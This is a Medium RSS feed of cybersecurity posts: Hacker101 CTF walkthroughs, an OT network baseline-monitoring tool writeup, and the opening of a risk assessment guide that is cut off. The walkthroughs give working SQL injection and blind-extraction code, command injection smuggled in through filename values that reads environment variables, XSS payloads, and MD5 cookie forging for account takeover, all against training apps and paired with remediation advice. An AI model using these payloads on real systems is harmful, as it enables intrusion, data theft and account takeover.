<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ucarcemre on Medium]]></title>
        <description><![CDATA[Stories by Ucarcemre on Medium]]></description>
        <link>https://medium.com/@ucarrcemre?source=rss-da3d5200df81------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*kuyckkchj2ogTRu1</url>
            <title>Stories by Ucarcemre on Medium</title>
            <link>https://medium.com/@ucarrcemre?source=rss-da3d5200df81------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 21:15:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ucarrcemre/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacker101 CTF Walkthrough: Photo Gallery]]></title>
            <link>https://medium.com/@ucarrcemre/hacker101-ctf-walkthrough-photo-gallery-477598da3126?source=rss-da3d5200df81------2</link>
            <guid isPermaLink="false">https://medium.com/p/477598da3126</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[information-technology]]></category>
            <dc:creator><![CDATA[Ucarcemre]]></dc:creator>
            <pubDate>Sat, 27 Jun 2026 10:49:36 GMT</pubDate>
            <atom:updated>2026-06-27T10:55:30.231Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B-jK5pvF0TSmGVMmp0TCQw.png" /></figure><p>In this walkthrough, I solved the <strong>Photo Gallery</strong> challenge from Hacker101 CTF. The application looks like a simple image gallery, but behind the scenes it contains several classic web security vulnerabilities: SQL injection, blind SQL injection, file disclosure, and command injection.</p><p>The challenge page displays a small gallery named <strong>Kittens</strong> with three images:</p><p>· Utterly adorable</p><p>· Purrfect</p><p>· Invisible</p><p>The third image is broken or invisible, which later becomes an important hint.</p><h3>Initial Recon</h3><p>The page source shows that images are loaded through the /fetch endpoint:</p><p>&lt;<strong>img</strong> src=”fetch?id=1&quot; width=”266&quot; height=”150&quot;&gt;<br>&lt;<strong>img</strong> src=”fetch?id=2&quot; width=”266&quot; height=”150&quot;&gt;<br>&lt;<strong>img</strong> src=”fetch?id=3&quot; width=”266&quot; height=”150&quot;&gt;</p><p>So the application fetches images by ID:</p><p>/fetch?id=1<br>/fetch?id=2<br>/fetch?id=3</p><p>The first important hint was:</p><p>Consider how you might build this system yourself.<br>What would the query for fetch look like?</p><p>This suggests that the backend is probably running a SQL query like:</p><p><strong>SELECT</strong> filename <strong>FROM</strong> photos <strong>WHERE</strong> <strong>id</strong>=&lt;user_input&gt;</p><p>So I started testing the id parameter.</p><h3>Confirming SQL Injection</h3><p>I tested a boolean condition:</p><p>/fetch?id=1 AND 1=1</p><p>This returned the image.</p><p>Then I tested:</p><p>/fetch?id=1 AND 1=2</p><p>This returned 404 Not Found.</p><p>That confirmed that the id parameter was vulnerable to SQL injection.</p><p>The logic was simple:</p><p><strong>SELECT</strong> filename <strong>FROM</strong> photos <strong>WHERE</strong> <strong>id</strong>=1 <strong>AND</strong> 1=1;</p><p>returns a valid result, while:</p><p><strong>SELECT</strong> filename <strong>FROM</strong> photos <strong>WHERE</strong> <strong>id</strong>=1 <strong>AND</strong> 1=2;</p><p>returns nothing.</p><h3>Flag0 — Source Code Disclosure via UNION SELECT</h3><p>The next hint mentioned the “state of the union,” which strongly suggested using UNION SELECT.</p><p>After discovering that the query returned only one column, I tried making the SQL query return a file path instead of a normal image filename.</p><p>Payload:</p><p>/fetch?id=-1 UNION SELECT ‘../main.py’</p><p>Encoded URL:</p><p>/fetch?id=-1%20UNION%20SELECT%20%27../main.py%27</p><p>This worked and exposed the application source code.</p><p>Inside main.py, the first flag was visible as a comment:</p><p>The vulnerable code was:</p><p>@app.route(‘/fetch’)<br><strong>def</strong> fetch():<br> cur = getDb().cursor()<br> <strong>if</strong> cur.execute(‘SELECT filename FROM photos WHERE id=%s’ % request.args[‘id’]) == 0:<br> abort(404)</p><p><strong>return</strong> file(‘./%s’ % cur.fetchone()[0].replace(‘..’, ‘’), ‘rb’).read()</p><p>The id parameter is directly inserted into the SQL query without parameterization.</p><h3>Flag1 — Blind SQL Injection on the Invisible Kitten</h3><p>The next hint was:</p><p>I never trust a kitten I can’t see<br>Or a query whose results I can’t see, for that matter</p><p>The “kitten I can’t see” refers to the third image:</p><p>/fetch?id=3</p><p>This image was broken or invisible. When requesting it directly, the server returned an internal error. That meant the database had a result for id=3, but the application failed when trying to use that result as a file path.</p><p>Since the SQL result was not directly visible, I used <strong>boolean-based blind SQL injection</strong>.</p><p>The idea was:</p><p>· If a condition is true, /fetch?id=1 AND (…) returns the valid JPEG.</p><p>· If a condition is false, it returns 404.</p><p>I used this JavaScript in the browser console:</p><p><strong>async</strong> <strong>function</strong> isTrue(condition) {<br> <strong>const</strong> payload = `1 AND (${condition})`;<br> <strong>const</strong> url = `/fetch?id=${encodeURIComponent(payload)}`;<br> <strong>const</strong> r = <strong>await</strong> fetch(url);<br> <strong>return</strong> r.status === 200;<br>}</p><p><strong>async</strong> <strong>function</strong> extract(query, maxLen = 150) {<br> <strong>let</strong> out = “”;</p><p><strong>for</strong> (<strong>let</strong> pos = 1; pos &lt;= maxLen; pos++) {<br> <strong>let</strong> found = <strong>false</strong>;</p><p><strong>for</strong> (<strong>let</strong> code = 32; code &lt;= 126; code++) {<br> <strong>const</strong> cond = `ASCII(SUBSTRING((${query}),${pos},1))=${code}`;</p><p><strong>if</strong> (<strong>await</strong> isTrue(cond)) {<br> out += String.fromCharCode(code);<br> console.log(out);<br> found = <strong>true</strong>;<br> <strong>break</strong>;<br> }<br> }</p><p><strong>if</strong> (!found) {<br> console.log(“DONE:”, out);<br> <strong>return</strong> out;<br> }<br> }</p><p><strong>return</strong> out;<br>}</p><p>Then I extracted the filename of the invisible image:</p><p><strong>await</strong> extract(“SELECT filename FROM photos WHERE id=3”);</p><p>The output characters was found.</p><p>Hacker101 flags use this format:</p><p>^FLAG^&lt;64 hex characters&gt;$FLAG$</p><h3>Flag2 — Command Injection via Album Size Calculation</h3><p>The final hint was:</p><p>That method of finding the size of an album seems suspicious<br>Stacked queries rarely work. But when they do, make absolutely sure that you’re committed</p><p>The source code showed a suspicious use of subprocess.check_output:</p><p>rep += ‘&lt;i&gt;Space used: ‘ + subprocess.check_output(<br> ‘du -ch %s || exit 0’ % ‘ ‘.join(‘files/’ + fn <strong>for</strong> fn <strong>in</strong> fns),<br> shell=True,<br> stderr=subprocess.STDOUT<br>).strip().rsplit(‘\n’, 1)[-1] + ‘&lt;/i&gt;’</p><p>This is dangerous because filenames from the database are inserted into a shell command.</p><p>The command looks like this:</p><p>du -ch files/&lt;filename&gt;</p><p>If we can change a photo filename to something like:</p><p>x<strong>;</strong> echo PWNED<strong>;</strong> <em>#</em></p><p>then the final command becomes:</p><p>du -ch files/x<strong>;</strong> echo PWNED<strong>;</strong> <em>#</em></p><p>This is command injection.</p><p>The hint also mentioned being “committed,” which means stacked queries work, but the database update needs a COMMIT.</p><p>First I tested command execution by updating the filename of the invisible image:</p><p>/fetch?id=1;UPDATE photos SET filename=’x; echo PWNED; #’ WHERE id=3;COMMIT; —</p><p>Encoded:</p><p>/fetch?id=1%3BUPDATE%20photos%20SET%20filename%3D%27x%3B%20echo%20PWNED%3B%20%23%27%20WHERE%20id%3D3%3BCOMMIT%3B — %20</p><p>Then I refreshed the homepage.</p><p>The album size section showed:</p><p>Space used: PWNED</p><p>That confirmed command injection.</p><p>Next, I checked the current directory:</p><p>x; echo $(ls -la); #</p><p>Encoded payload:</p><p>/fetch?id=1%3BUPDATE%20photos%20SET%20filename%3D%27x%3B%20echo%20$(ls%20-la)%3B%20%23%27%20WHERE%20id%3D3%3BCOMMIT%3B — %20</p><p>This displayed files such as:</p><p>Dockerfile<br>files<br>main.py<br>main.pyc<br>prestart.sh<br>requirements.txt<br>uwsgi.ini</p><p>Finally, I checked the environment variables:</p><p>x; echo $(env | grep FLAG); #</p><p>Encoded payload:</p><p>/fetch?id=1%3BUPDATE%20photos%20SET%20filename%3D%27x%3B%20echo%20$(env%20%7C%20grep%20FLAG)%3B%20%23%27%20WHERE%20id%3D3%3BCOMMIT%3B — %20</p><p>After refreshing the homepage, the Space used field showed the flags.</p><h3>What I Learned</h3><p>This challenge was a great example of how multiple vulnerabilities can chain together:</p><p>1. SQL injection allowed control over the fetch query.</p><p>2. UNION SELECT allowed reading application source code.</p><p>3. Blind SQL injection allowed extracting hidden query results.</p><p>4. Stacked queries plus COMMIT allowed modifying database values.</p><p>5. Unsafe shell execution with shell=True led to command injection.</p><p>The most important lesson is that user input should never be directly inserted into SQL queries or shell commands. Parameterized queries and avoiding shell=True would have prevented most of the vulnerabilities in this challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=477598da3126" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building OT Baseline Guard: A Lightweight Baseline Drift Detection Tool for OT/ICS Networks]]></title>
            <link>https://medium.com/@ucarrcemre/building-ot-baseline-guard-a-lightweight-baseline-drift-detection-tool-for-ot-ics-networks-017df8b8a66c?source=rss-da3d5200df81------2</link>
            <guid isPermaLink="false">https://medium.com/p/017df8b8a66c</guid>
            <category><![CDATA[operational-technology]]></category>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosecurity]]></category>
            <dc:creator><![CDATA[Ucarcemre]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 11:11:30 GMT</pubDate>
            <atom:updated>2026-06-24T11:13:00.071Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Ce9Suii1e8RT5uONG6hzw.png" /></figure><p>Industrial environments are becoming more connected than ever. Production lines, PLCs, SCADA systems, engineering workstations, remote access tools, and vendor connections are now part of a wider digital ecosystem.</p><p>This brings efficiency, but it also creates a serious security challenge:</p><p><strong>How can we detect unexpected communication changes in an OT network without actively scanning or disturbing critical systems?</strong></p><p>That question led me to build <strong>OT Baseline Guard</strong>, a lightweight passive OT/ICS network monitoring and baseline drift detection tool.</p><h3>Why OT Network Baselines Matter</h3><p>In traditional IT environments, network traffic changes constantly. New users, cloud services, devices, and applications appear every day.</p><p>OT environments are different.</p><p>Industrial networks are usually more predictable. A PLC communicates with an HMI. An engineering workstation connects to specific assets. A SCADA server talks to known devices. Certain protocols and ports are expected.</p><p>This predictability makes baseline monitoring very valuable.</p><p>If a new connection appears, an expected connection disappears, or an unusual remote access protocol is detected, it may indicate:</p><p>· configuration drift</p><p>· unauthorized access</p><p>· vendor access outside the expected window</p><p>· misconfigured systems</p><p>· lateral movement</p><p>· insecure legacy protocol usage</p><p>· early signs of compromise</p><p>The goal is not to replace a full industrial IDS, but to provide a simple and practical way to review communication changes.</p><h3>What Is OT Baseline Guard?</h3><p><strong>OT Baseline Guard</strong> is a lightweight defensive security tool that analyzes OT/ICS network communication using CSV or PCAP files.</p><p>The first version focuses on passive analysis.</p><p>This means the tool does not scan the network, send packets, or interact with industrial devices. It only analyzes existing data exported from tools like Wireshark or prepared as CSV connection lists.</p><p>The initial MVP supports two modes:</p><p><strong>1. CSV Mode</strong></p><p><strong>2. PCAP Mode</strong></p><h3>CSV Mode</h3><p>In CSV Mode, the user uploads two files:</p><p>baseline_connections.csv<br>current_connections.csv</p><p>The baseline file represents the expected or approved communication pattern.</p><p>The current file represents the latest observed communication.</p><p>The tool compares both files and identifies:</p><p>· new connections</p><p>· missing expected connections</p><p>· risky destination ports</p><p>· possible IT-to-OT communication</p><p>· vendor or remote access indicators</p><p>A simple CSV input can look like this:</p><p>source_ip,destination_ip,destination_port,protocol<br>192.168.1.10,10.0.0.5,502,TCP<br>192.168.1.11,10.0.0.6,4840,TCP<br>10.0.0.20,10.0.0.5,102,TCP</p><p>The tool then enriches each connection with:</p><p>· source zone</p><p>· destination zone</p><p>· OT protocol guess</p><p>· risk level</p><p>· explanation</p><h3>PCAP Mode</h3><p>In PCAP Mode, the user uploads a .pcap or .pcapng file exported from Wireshark.</p><p>The tool extracts basic network communication details such as:</p><p>· source IP</p><p>· destination IP</p><p>· destination port</p><p>· protocol</p><p>· OT protocol guess</p><p>· risk level</p><p>· explanation</p><p>This is useful when a team already has a packet capture and wants a quick overview of potentially risky industrial communication.</p><h3>Initial Risk Rules</h3><p>The first version includes common OT and remote access ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/217/1*ueAWtlXn5qZIpJH6gOJLIg.png" /></figure><p>The tool classifies OT protocols such as Modbus TCP, Siemens S7, EtherNet/IP, DNP3, OPC UA, and BACnet.</p><p>It also highlights risky IT or remote access services such as RDP, SMB, Telnet, FTP, and VNC.</p><p>For example, if an IT subnet communicates with an OT subnet over RDP, the tool marks it as high risk and explains why this should be reviewed.</p><h3>Why I Started With Streamlit</h3><p>For the first MVP, I chose:</p><p>Python + Streamlit + Pandas + Scapy</p><p>This stack is simple but powerful.</p><p>Streamlit makes it possible to create a clean web interface quickly. Pandas is ideal for CSV comparison and tabular analysis. Scapy allows basic PCAP parsing in Python.</p><p>The first version runs locally:</p><p>streamlit run app.py</p><p>This is important because PCAP files can contain sensitive network information. A local-first design means the user can analyze files without uploading them to an external service.</p><h3>Project Structure</h3><p>The first version follows a simple structure:</p><p>ot-baseline-guard/<br>│<br>├── app.py<br>├── analyzer.py<br>├── risk_rules.py<br>├── pcap_parser.py<br>├── report_generator.py<br>├── requirements.txt<br>│<br>├── sample_data/<br>│ ├── baseline_connections.csv<br>│ └── current_connections.csv<br>│<br>├── reports/<br>│<br>└── README.md</p><p>Each file has a clear responsibility.</p><p>app.py handles the Streamlit interface.</p><p>analyzer.py compares baseline and current connections.</p><p>risk_rules.py contains the OT/ICS protocol and risky port rules.</p><p>pcap_parser.py extracts connections from PCAP files.</p><p>report_generator.py generates downloadable CSV and HTML reports.</p><h3>What the MVP Can Do</h3><p>The current MVP includes:</p><p>· CSV file upload</p><p>· PCAP file upload</p><p>· baseline vs current comparison</p><p>· new connection detection</p><p>· missing connection detection</p><p>· risky OT port detection</p><p>· IT-to-OT connection detection</p><p>· risk summary dashboard</p><p>· downloadable CSV report</p><p>· downloadable HTML report</p><p>This makes the tool useful for demos, learning, portfolio projects, and early-stage defensive security workflows.</p><h3>Example Use Case</h3><p>Imagine an industrial environment where the expected baseline contains:</p><p>Engineering Workstation → PLC over Siemens S7<br>SCADA Server → OPC UA Server over 4840<br>HMI → PLC over Modbus TCP</p><p>One week later, the current traffic includes:</p><p>Unknown IT Host → PLC over RDP<br>Unknown IT Host → OT Server over SMB</p><p>These new connections may not automatically mean an attack happened, but they are worth reviewing.</p><p>OT Baseline Guard helps make these changes visible.</p><h3>Limitations of the First Version</h3><p>This is still an MVP, so it has some limitations.</p><p>The current version uses simple IP-based zone guessing:</p><p>10.x.x.x = OT<br>172.16.x.x to 172.31.x.x = OT<br>192.168.x.x = IT</p><p>In real environments, this should be replaced with user-defined subnet configuration.</p><p>The PCAP parser currently extracts basic TCP and UDP connection information. Future versions can include deeper protocol parsing and better asset identification.</p><p>The tool does not perform live packet capture yet. That will be part of a later version.</p><h3>Future Roadmap</h3><p>Planned improvements include:</p><p>· custom subnet configuration</p><p>· risk score tuning</p><p>· PDF report generation</p><p>· better dashboard visualizations</p><p>· asset inventory view</p><p>· baseline history</p><p>· allowlist and denylist rules</p><p>· live packet capture</p><p>· desktop version with PySide6</p><p>· Sigma/YARA-style rule format for network behavior</p><p>· MITRE ATT&amp;CK for ICS mapping</p><h3>Final Thoughts</h3><p>OT security does not always need to start with complex tooling.</p><p>Sometimes, the first useful step is simple visibility:</p><p>What is communicating? What changed? Which ports are risky? Which connections cross from IT to OT? Which remote access paths need review?</p><p>That is the idea behind <strong>OT Baseline Guard</strong>.</p><p>It is not designed to replace enterprise OT monitoring platforms. Instead, it is a lightweight, practical, and local-first tool for baseline comparison, passive analysis, and early risk detection in industrial networks.</p><p>The project started as a Python MVP, but the long-term goal is to turn it into a more complete defensive OT monitoring assistant.</p><p>You can find the project source code here:</p><p>https://github.com/cemreucar/OT_Baseline_Guard</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=017df8b8a66c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacker101 CTF — Postbook Walkthrough]]></title>
            <link>https://medium.com/@ucarrcemre/hacker101-ctf-postbook-walkthrough-0fd40a698bba?source=rss-da3d5200df81------2</link>
            <guid isPermaLink="false">https://medium.com/p/0fd40a698bba</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ucarcemre]]></dc:creator>
            <pubDate>Thu, 18 Jun 2026 19:13:38 GMT</pubDate>
            <atom:updated>2026-06-18T19:13:38.485Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqjQSA91qCNOWUhBBOMOLw.png" /></figure><p>Recently, I completed the Hacker101 Postbook challenge, a vulnerable blogging platform designed to demonstrate several common web application security flaws. Throughout the challenge, I encountered weaknesses related to authentication, authorization, hidden client-side parameters, predictable object references, and insecure session management.</p><p>This walkthrough explains the methodology I used to identify and exploit each vulnerability.</p><h3>Flag 0 — Weak Password Authentication</h3><p>The first hint provided by the challenge stated:</p><p>The person with username “user” has a very easy password…</p><p>Based on this hint, I started testing common passwords and successfully authenticated using the following credentials:</p><p>Username: user<br>Password: password</p><p>After logging in, the application immediately revealed the first flag.</p><p>This demonstrates how easily predictable passwords can lead to unauthorized account access.</p><h3>Flag 1 — Accessing a Private Post Through IDOR</h3><p>While exploring the application, I noticed that posts were referenced using numeric identifiers.</p><p>The first public post was accessible through:</p><p>index.php?page=view.php&amp;id=1</p><p>I manually modified the identifier and requested:</p><p>index.php?page=view.php&amp;id=2</p><p>The application returned a private post belonging to another user and revealed the next flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/1*992dFDPTLVwP6efZ9sotsQ.png" /><figcaption><strong>Figure 1— Accessing a private post by modifying the identifier.</strong></figcaption></figure><p>This was a classic example of an Insecure Direct Object Reference (IDOR) vulnerability.</p><h3>Flag 2 — Hidden Field Manipulation</h3><p>The next hint suggested inspecting the post creation form using the browser’s developer tools.</p><p>While reviewing the HTML source, I discovered the following hidden field:</p><p>&lt;<strong>input</strong> type=”hidden” name=”user_id” value=”2&quot; /&gt;</p><p>The application relied on a client-controlled parameter to determine ownership of newly created posts.</p><p>Using the browser’s developer tools, I modified the value from:</p><p>value=”2&quot;</p><p>to:</p><p>value=”1&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*gtgcWG3RuakWyJrfZNX0iA.png" /><figcaption><strong>Figure 2— Hidden user_id parameter discovered in the post creation form.</strong></figcaption></figure><p>After modifying the parameter and submitting a new post, the application accepted the manipulated value.</p><p>The challenge immediately revealed the next flag.</p><h3>Flag 3 — Hidden Resource Discovery</h3><p>After requesting a hint, the challenge provided the following clue:</p><p>189 * 5</p><p>Calculating the result produced:</p><p>945</p><p>I then used the value as a post identifier:</p><p>index.php?page=view.php&amp;id=945</p><p>The request returned a hidden resource containing the next flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*N36dWqlrUBc9MYGoY2aYWQ.png" /><figcaption><strong>Figure 3— Accessing the hidden resource using the calculated identifier.</strong></figcaption></figure><p>This step demonstrated how challenge hints can sometimes directly reveal hidden resources when interpreted correctly.</p><h3>Flag 4 — Editing Another User’s Private Post</h3><p>While continuing to test access controls, I discovered that the edit functionality was also vulnerable.</p><p>By changing the identifier in the URL, I accessed another user’s private post:</p><p>index.php?page=edit.php&amp;id=2</p><p>The application displayed the edit interface for content that did not belong to my account.</p><p>This revealed the next flag and demonstrated another broken authorization mechanism.</p><h3>Flag 5 — Predictable Delete Functionality</h3><p>The delete functionality appeared to use hashed identifiers rather than direct numeric values.</p><p>One of the URLs looked like this:</p><p>index.php?page=delete.php&amp;id=c81e728d9d4c2f636f067f89cc14862c</p><p>The value corresponded to:</p><p>MD5(2)</p><p>After recognizing the pattern, I calculated hashes for additional identifiers and modified the request accordingly.</p><p>The application accepted the manipulated identifier and revealed another flag.</p><p>This demonstrated that simply hashing identifiers does not provide meaningful access control.</p><h3>Flag 6 — Session Cookie Manipulation</h3><p>The final challenge focused on authentication cookies.</p><p>Inspecting the browser cookies revealed the following value:</p><p>id = c81e728d9d4c2f636f067f89cc14862c</p><p>The value appeared familiar and was identified as:</p><p>MD5(2)</p><p>The challenge hint stated:</p><p>The cookie allows you to stay signed in. Can you figure out how they work so you can sign in to user with ID 1?</p><p>I generated the MD5 hash of User ID 1:</p><p>MD5(1)= c4ca4238a0b923820dcc509a6f75849b</p><p>I then replaced the cookie value with the new hash and refreshed the page.</p><p>After reloading the application, I was successfully authenticated as User ID 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*DIRHT_YVwbikudoxDRbeNw.png" /><figcaption><strong>Figure 4— Successful account takeover after modifying the authentication cookie.</strong></figcaption></figure><p>The application immediately revealed the final flag.</p><h3>Conclusion</h3><p>The Postbook challenge is an excellent introduction to common web application security flaws.</p><p>One of the most important lessons from this challenge is that client-side controls should never be trusted. Hidden fields, predictable identifiers, hashed object references, and client-side authentication tokens can all be manipulated when proper server-side validation is missing.</p><p>Although each vulnerability individually appears simple, chaining them together ultimately resulted in complete compromise of the application and administrative account access.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0fd40a698bba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacker101 CTF — Micro-CMS v1 Walkthrough]]></title>
            <link>https://medium.com/@ucarrcemre/hacker101-ctf-micro-cms-v1-walkthrough-175957c9f031?source=rss-da3d5200df81------2</link>
            <guid isPermaLink="false">https://medium.com/p/175957c9f031</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ucarcemre]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 13:38:45 GMT</pubDate>
            <atom:updated>2026-06-17T13:38:45.738Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxr4MxtEyjHEGtip5WNYeg.png" /></figure><p>Web applications often contain simple implementation mistakes that can lead to serious security vulnerabilities. In this challenge, I identified and exploited four different classes of vulnerabilities including Stored XSS, IDOR, and SQL Injection.</p><p>This walkthrough demonstrates both the exploitation process and the underlying security concepts behind each issue.</p><h3>Flag 0 — Stored XSS via the Title Field</h3><p>The first hint provided by the challenge was:</p><p>Try creating a new page</p><p>While testing the page creation functionality, I noticed that the title field accepted HTML input. To determine whether the application properly sanitized user-controlled content, I inserted the following payload:</p><p>&lt;<strong>img</strong> src=x onerror=alert(1)&gt;</p><p>After saving the page, the application rendered the payload directly within the page title. Since the image source was invalid, the browser triggered the onerror event.</p><p>This behavior confirmed the presence of a <strong>Stored Cross-Site Scripting (Stored XSS)</strong> vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*FFvi0iVKvUioujUE5t7scg.png" /><figcaption><strong>Figure 1 — Stored XSS payload inserted into the page title.</strong></figcaption></figure><h3>Why It Worked</h3><p>The application stored user-controlled HTML and later rendered it without applying proper output encoding. As a result, the browser interpreted the input as executable HTML instead of plain text.</p><h3>Remediation</h3><p>· Encode user-controlled content before rendering.</p><p>· Apply strict Content Security Policies (CSP).</p><p>· Sanitize HTML using a trusted library.</p><h3>Flag 1 — Insecure Direct Object Reference (IDOR)</h3><p>While exploring the application, I observed that page editing functionality used sequential numeric identifiers:</p><p>/page/edit/1<br>/page/edit/2</p><p>This suggested that page objects were referenced directly through predictable IDs.</p><p>By manually modifying the identifier in the URL, I was able to access a hidden page:</p><p>/page/edit/7</p><p>The page contained sensitive content that should not have been accessible to my account.</p><p>This confirmed the existence of an <strong>Insecure Direct Object Reference (IDOR)</strong> vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*boLFaqZkaowpPZvuONW4dw.png" /><figcaption><strong>Figure 2 — Accessing a hidden page through direct object reference manipulation.</strong></figcaption></figure><h3>Why It Worked</h3><p>The application relied solely on the page identifier to determine access and failed to perform proper authorization checks.</p><h3>Remediation</h3><p>· Implement server-side authorization controls.</p><p>· Verify ownership before granting access to resources.</p><p>· Avoid exposing predictable identifiers when possible.</p><h3>Flag 2 — SQL Injection</h3><p>Next, I investigated how the application processed page identifiers.</p><p>To test for SQL Injection, I appended a single quotation mark to the page edit URL:</p><p>/page/edit/2&#39;</p><p>The application immediately responded in a way that indicated improper handling of user input and revealed the challenge flag.</p><p>This behavior strongly suggested that user-controlled data was being incorporated into a database query without proper sanitization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*TfKvKF3RNN6JhwiCY4orkQ.png" /><figcaption><strong>Figure 3 — SQL Injection discovery through malformed input.</strong></figcaption></figure><h3>Why It Worked</h3><p>The application failed to properly handle special SQL characters, allowing user input to alter the structure of a backend query.</p><h3>Remediation</h3><p>· Use parameterized queries.</p><p>· Use prepared statements.</p><p>· Never concatenate user input directly into SQL queries.</p><h3>Flag 3 — Stored XSS in Markdown Rendering</h3><p>The application included a page named <strong>Markdown Test</strong>.</p><p>The page stated:</p><p>Markdown is supported, but scripts are not.</p><p>To verify the filtering mechanism, I inserted:</p><p>&lt;<strong>script</strong>&gt;alert(1)&lt;/<strong>script</strong>&gt;</p><p>The application modified the input and replaced the script tag with a scrubbed version, indicating that direct script execution was blocked.</p><p>However, further testing revealed that HTML event handlers were not filtered correctly.</p><p>I inserted:</p><p>&lt;<strong>img</strong> src=x onerror=alert(1)&gt;</p><p>When the page rendered, JavaScript executed successfully.</p><p>This demonstrated that the application filtered only specific HTML tags rather than implementing comprehensive sanitization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*wNG3tLhi53_7z4La3l56hA.png" /><figcaption><strong>Figure 4 — Stored XSS through Markdown rendering.</strong></figcaption></figure><h3>Why It Worked</h3><p>The application attempted to prevent XSS by blocking &lt;script&gt; tags but failed to account for alternative JavaScript execution vectors such as HTML event handlers.</p><h3>Remediation</h3><p>· Sanitize all user-controlled HTML.</p><p>· Use allowlists instead of blocklists.</p><p>· Implement CSP to reduce XSS impact.</p><h3>Key Lessons Learned</h3><p>This challenge provides an excellent introduction to several critical web application vulnerabilities:</p><p>· Stored Cross-Site Scripting (XSS)</p><p>· Insecure Direct Object References (IDOR)</p><p>· SQL Injection</p><p>· Improper Markdown sanitization</p><p>One of the most important takeaways is that security controls should never rely on simple filtering mechanisms. Blocking only &lt;script&gt; tags, for example, does not prevent XSS attacks when alternative execution vectors such as onerror, onload, or other event handlers remain available.</p><p>Micro-CMS v1 is a great example of how multiple vulnerabilities can coexist within a single application and how attackers often chain these weaknesses together to gain deeper access to sensitive functionality.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=175957c9f031" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Start a Cybersecurity Risk Assessment: Simple Excel Template for Beginners]]></title>
            <link>https://medium.com/@ucarrcemre/how-to-start-a-cybersecurity-risk-assessment-simple-excel-template-for-beginners-ff2c14184c00?source=rss-da3d5200df81------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff2c14184c00</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[risk-assessment]]></category>
            <category><![CDATA[excel-templates]]></category>
            <category><![CDATA[grc]]></category>
            <dc:creator><![CDATA[Ucarcemre]]></dc:creator>
            <pubDate>Sun, 14 Jun 2026 11:08:55 GMT</pubDate>
            <atom:updated>2026-06-14T11:12:05.545Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5tF9FiEx10tv62dPvhuOA.png" /></figure><h3>How to Start a Simple Cybersecurity Risk Assessment Without Overcomplicating It</h3><p>Cybersecurity risk assessment is often explained in a very complex way. Frameworks, matrices, scoring models, compliance requirements, asset inventories… For someone who is just starting, it can feel too much.</p><p>But in reality, the first version of a risk assessment does not need to be complicated.</p><p>The goal is simple:</p><p><strong>Understand what can go wrong, how serious it would be, who owns the risk, and what controls can reduce it.</strong></p><p>A basic cybersecurity risk assessment helps teams answer questions like:</p><p>· What are our most important assets?</p><p>· What threats could affect them?</p><p>· What would be the consequence if something happened?</p><p>· How likely is the risk?</p><p>· How big would the impact be?</p><p>· Which controls do we already have?</p><p>· What is the remaining risk after controls?</p><h3>Why Risk Assessment Matters</h3><p>Many companies focus only on tools: antivirus, firewalls, MFA, backups, SIEM, endpoint protection, and so on.</p><p>These tools are important, but without risk assessment, it is difficult to know <strong>why</strong> you are using them and <strong>which risks they are actually reducing</strong>.</p><p>For example:</p><p>A phishing attack can affect employee credentials.<br>The consequence can be credential theft, unauthorized access, and data leakage.<br>The controls can include MFA, email filtering, and security 